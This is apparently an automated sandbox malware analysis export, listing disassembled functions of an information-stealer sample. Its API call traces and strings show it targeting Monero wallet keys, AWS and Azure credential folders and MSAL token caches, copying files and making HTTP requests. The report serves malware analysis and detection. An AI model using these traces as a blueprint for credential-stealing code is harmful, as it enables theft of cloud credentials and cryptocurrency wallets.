Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: e4f8fdada73c780463fd2c4cfb62ee2af3a9aed915b3b35faec1d6bcdc4bf975
Instruction ID: d4f471111513effe15e432a5cb6c6d043c23d7834e17a4d27dff2265ea75a249
Opcode Fuzzy Hash: e4f8fdada73c780463fd2c4cfb62ee2af3a9aed915b3b35faec1d6bcdc4bf975
Instruction Fuzzy Hash: 4212FD72820119ABDB15EBA0DC99FEEBB78BF94700F504199F14672091EF702A49CF65

Function 0052CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 00538B60: GetSystemTime.KERNEL32(00540E1A,0108E700,005405AE,?,?,005213F9,?,0000001A,00540E1A,00000000,?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 00538B86

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0052CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0052D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0052D0CE
lstrcat.KERNEL32(?,00000000), ref: 0052D208
lstrcat.KERNEL32(?,00541478), ref: 0052D217
lstrcat.KERNEL32(?,00000000), ref: 0052D22A
lstrcat.KERNEL32(?,0054147C), ref: 0052D239
lstrcat.KERNEL32(?,00000000), ref: 0052D24C
lstrcat.KERNEL32(?,00541480), ref: 0052D25B
lstrcat.KERNEL32(?,00000000), ref: 0052D26E
lstrcat.KERNEL32(?,00541484), ref: 0052D27D
lstrcat.KERNEL32(?,00000000), ref: 0052D290
lstrcat.KERNEL32(?,00541488), ref: 0052D29F
lstrcat.KERNEL32(?,00000000), ref: 0052D2B2
lstrcat.KERNEL32(?,0054148C), ref: 0052D2C1
lstrcat.KERNEL32(?,00000000), ref: 0052D2D4
lstrcat.KERNEL32(?,00541490), ref: 0052D2E3

Part of subcall function 0053A820: lstrlen.KERNEL32(00524F05,?,?,00524F05,00540DDE), ref: 0053A82B
Part of subcall function 0053A820: lstrcpy.KERNEL32(00540DDE,00000000), ref: 0053A885

lstrlen.KERNEL32(?), ref: 0052D32A
lstrlen.KERNEL32(?), ref: 0052D339

Part of subcall function 0053AA70: StrCmpCA.SHLWAPI(01088B58,0052A7A7,?,0052A7A7,01088B58), ref: 0053AA8F

DeleteFileA.KERNEL32(00000000), ref: 0052D3B4

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 0d2dc251bdc7ffa7c9c937db7ed9b55f98c2b928a4f50164f38d650d33c0e45b
Instruction ID: a5a097de0124e0d4394b9cd81d69bab7b10308aaff4533d301d9a888a13f808a
Opcode Fuzzy Hash: 0d2dc251bdc7ffa7c9c937db7ed9b55f98c2b928a4f50164f38d650d33c0e45b
Instruction Fuzzy Hash: 2DE1237291020AABCB04EBA0DD9AEEEBB78BF54301F104158F147B7091DE75AE45CF66

Function 00538320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

RegOpenKeyExA.KERNEL32(00000000,0108B9D0,00000000,00020019,00000000,005405B6), ref: 005383A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00538426
wsprintfA.USER32 ref: 00538459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0053847B
RegCloseKey.ADVAPI32(00000000), ref: 0053848C
RegCloseKey.ADVAPI32(00000000), ref: 00538499

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Strings

- , xrefs: 005385A3
?, xrefs: 0053837A
%s\%s, xrefs: 0053844D

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 18f332cdf1c112b14c6630e6197a9f6781d533606cfa31189422c6f22c1234c9
Instruction ID: bc30d0f89d0d9d99abf317a596355f90192c2a17e66682c17d3e0031ada20ddc
Opcode Fuzzy Hash: 18f332cdf1c112b14c6630e6197a9f6781d533606cfa31189422c6f22c1234c9
Instruction Fuzzy Hash: FC811E71910219ABDB28DB50CC95FEABBB8FF48700F008699F14AA6180DF756B85CF95

Function 00526280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00524839
Part of subcall function 005247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00524849

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

InternetOpenA.WININET(00540DFE,00000001,00000000,00000000,00000000), ref: 005262E1
StrCmpCA.SHLWAPI(?,0108F278), ref: 00526303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00526335
HttpOpenRequestA.WININET(00000000,GET,?,0108EC50,00000000,00000000,00400100,00000000), ref: 00526385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005263BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005263D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 005263FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0052646D
InternetCloseHandle.WININET(00000000), ref: 005264EF
InternetCloseHandle.WININET(00000000), ref: 005264F9
InternetCloseHandle.WININET(00000000), ref: 00526503

Strings

GET, xrefs: 0052637C
ERROR, xrefs: 005264C9
ERROR, xrefs: 00526407

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 2a1afbbdfc43fd09c4c022f1b68a5302176537b085a9f790010bcaf0f0fcdb65
Instruction ID: c6dd74edfe3cbf79207b828c5ef48bf1b18918aaa11e7c6cbc60b41f8d2cafad
Opcode Fuzzy Hash: 2a1afbbdfc43fd09c4c022f1b68a5302176537b085a9f790010bcaf0f0fcdb65
Instruction Fuzzy Hash: A8712C71A00318ABDF14EBA0DC99BEEBB74BF45700F108598F50A6B1D4DBB46A85CF91

Function 00535510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A820: lstrlen.KERNEL32(00524F05,?,?,00524F05,00540DDE), ref: 0053A82B
Part of subcall function 0053A820: lstrcpy.KERNEL32(00540DDE,00000000), ref: 0053A885

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00535644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005356A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00535857

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005351F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00535228

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 005352C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00535318
Part of subcall function 005352C0: lstrlen.KERNEL32(00000000), ref: 0053532F
Part of subcall function 005352C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00535364
Part of subcall function 005352C0: lstrlen.KERNEL32(00000000), ref: 00535383
Part of subcall function 005352C0: lstrlen.KERNEL32(00000000), ref: 005353AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0053578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00535940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00535A0C
Sleep.KERNEL32(0000EA60), ref: 00535A1B

Strings

ERROR, xrefs: 005359FE
ERROR, xrefs: 00535636
ERROR, xrefs: 00535849
ERROR, xrefs: 00535932
ERROR, xrefs: 0053577D
ERROR, xrefs: 00535693

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 5f5330b22730a744f521bf77d459a689d3556efa216af8a3b07f7e278f1b4855
Instruction ID: 046e0785843272eb79e35932a3d9fc635d9e5c7365fac4fb5b5e684d51c47de7
Opcode Fuzzy Hash: 5f5330b22730a744f521bf77d459a689d3556efa216af8a3b07f7e278f1b4855
Instruction Fuzzy Hash: AEE14472910205AACB14FBB0DC9AEEDBB78BF94300F508528F54766095FF746A09CF96

Function 00534D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00538DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00538E0B

lstrcat.KERNEL32(?,00000000), ref: 00534DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00534DCD

Part of subcall function 00534910: wsprintfA.USER32 ref: 0053492C
Part of subcall function 00534910: FindFirstFileA.KERNEL32(?,?), ref: 00534943

lstrcat.KERNEL32(?,00000000), ref: 00534E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00534E59

Part of subcall function 00534910: StrCmpCA.SHLWAPI(?,00540FDC), ref: 00534971
Part of subcall function 00534910: StrCmpCA.SHLWAPI(?,00540FE0), ref: 00534987
Part of subcall function 00534910: FindNextFileA.KERNEL32(000000FF,?), ref: 00534B7D
Part of subcall function 00534910: FindClose.KERNEL32(000000FF), ref: 00534B92

lstrcat.KERNEL32(?,00000000), ref: 00534EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00534EE5

Part of subcall function 00534910: wsprintfA.USER32 ref: 005349B0
Part of subcall function 00534910: StrCmpCA.SHLWAPI(?,005408D2), ref: 005349C5
Part of subcall function 00534910: wsprintfA.USER32 ref: 005349E2
Part of subcall function 00534910: PathMatchSpecA.SHLWAPI(?,?), ref: 00534A1E
Part of subcall function 00534910: lstrcat.KERNEL32(?,0108F398), ref: 00534A4A
Part of subcall function 00534910: lstrcat.KERNEL32(?,00540FF8), ref: 00534A5C
Part of subcall function 00534910: lstrcat.KERNEL32(?,?), ref: 00534A70
Part of subcall function 00534910: lstrcat.KERNEL32(?,00540FFC), ref: 00534A82
Part of subcall function 00534910: lstrcat.KERNEL32(?,?), ref: 00534A96
Part of subcall function 00534910: CopyFileA.KERNEL32(?,?,00000001), ref: 00534AAC
Part of subcall function 00534910: DeleteFileA.KERNEL32(?), ref: 00534B31

Strings

Azure\.IdentityService, xrefs: 00534EEB
Azure\.aws, xrefs: 00534E5F
\.IdentityService\, xrefs: 00534ED9
*.*, xrefs: 00534DD8
*.*, xrefs: 00534E64
\.aws\, xrefs: 00534E4D
\.azure\, xrefs: 00534DC1
Azure\.azure, xrefs: 00534DD3
msal.cache, xrefs: 00534EF0

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 25200c7d130600730d3c1ebae075fcb6637aa2b02fafa55c50ee35760811a81a
Instruction ID: d11cc2c3a1c65db18f8bfd5c36ae1a6ec3583624d243feac15cf6ff45e0a0d39
Opcode Fuzzy Hash: 25200c7d130600730d3c1ebae075fcb6637aa2b02fafa55c50ee35760811a81a
Instruction Fuzzy Hash: EE41667A94030567C754F760EC4FFED7B38BB64704F004494B68A660C1EEB5ABC98B96

Function 00521310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005212A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005212B4
Part of subcall function 005212A0: RtlAllocateHeap.NTDLL(00000000), ref: 005212BB
Part of subcall function 005212A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 005212D7
Part of subcall function 005212A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005212F5
Part of subcall function 005212A0: RegCloseKey.ADVAPI32(?), ref: 005212FF

lstrcat.KERNEL32(?,00000000), ref: 0052134F
lstrlen.KERNEL32(?), ref: 0052135C
lstrcat.KERNEL32(?,.keys), ref: 00521377

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

